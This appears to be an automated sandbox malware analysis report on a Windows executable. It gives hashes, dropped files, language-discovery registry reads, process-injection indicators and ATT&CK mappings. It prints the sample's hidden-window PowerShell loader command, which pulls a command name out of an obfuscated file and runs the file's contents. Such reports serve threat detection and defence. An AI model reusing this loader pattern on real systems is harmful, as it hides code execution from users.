df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005

General

Target

df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe
Size

778KB
MD5

a992bbd745fa0540c9b12c43f871be00
SHA1

0435dd15bfd760449e06c1dd2413a4963539ff27
SHA256

df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005
SHA512

fdbd173fcaec5728117e5a5de3382b5da110f61799571f60cbf755047b77c9024a638ad558a47316b300a0b7f2053baa05d321f76b09459ce05932d985299737
SSDEEP

24576:zr5Ob+mp4ZW3/EYSdCVNF45yRQLvf81BV2m6ionDuf:SGW3GC/e5yiX8HuD+

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2300	powershell.exe
2760	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\folkepensionsaldres\frostbiter.ini	df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Stilting.Bra	df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe
File opened for modification	C:\Program Files (x86)\unprobably.ini	df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Levitters.lnk	df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe
File opened for modification	C:\Windows\Levitters.lnk	df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe
File opened for modification	C:\Windows\resources\beent.elv	df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2300	powershell.exe
2760	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2392	df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeDebugPrivilege	2760	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2392 wrote to memory of 2300	2392	df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe	30
PID 2392 wrote to memory of 2300	2392	df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe	30
PID 2392 wrote to memory of 2300	2392	df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe	30
PID 2392 wrote to memory of 2300	2392	df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe	30
PID 2392 wrote to memory of 2760	2392	df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe	33
PID 2392 wrote to memory of 2760	2392	df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe	33
PID 2392 wrote to memory of 2760	2392	df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe	33
PID 2392 wrote to memory of 2760	2392	df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe	33

C:\Users\Admin\AppData\Local\Temp\df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe
"C:\Users\Admin\AppData\Local\Temp\df90131c240ef4e9b9079e271d16bb1fa5d797ba57a227eb1883814f35358005.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:2392
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Spydspids=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\Stragglier\Kmpehjenes.unt';$Gargle=$Spydspids.SubString(43550,3);.$Gargle($Spydspids)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2300
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Spydspids=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\Stragglier\Kmpehjenes.unt';$Gargle=$Spydspids.SubString(43550,3);.$Gargle($Spydspids)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
dd4e20410b2036d730819b529e339c77

SHA1
749c835037dd86404044df62e6a53620fdfab0d3

SHA256
8686b84314b96195725ee8fc31ab6a0695d5751cca2863786093a654996bbca3

SHA512
b54d97b227ff2b9fc3e969788614dcd699f7af2ce066b80c5041183a00d65e0550f3c00c1b3e1daf5c83ea2073068c864f620841a9d6e47ce8a642da04983763

Download Submit
memory/2300-16-0x00000000739A1000-0x00000000739A2000-memory.dmp

Filesize
4KB

Download
memory/2300-18-0x00000000739A0000-0x0000000073F4B000-memory.dmp

Filesize
5.7MB

Download
memory/2300-17-0x00000000739A0000-0x0000000073F4B000-memory.dmp

Filesize
5.7MB

Download
memory/2300-19-0x00000000739A0000-0x0000000073F4B000-memory.dmp

Filesize
5.7MB

Download
memory/2300-20-0x00000000739A0000-0x0000000073F4B000-memory.dmp

Filesize
5.7MB

Download
memory/2300-21-0x00000000739A0000-0x0000000073F4B000-memory.dmp

Filesize
5.7MB

Download

Analysis

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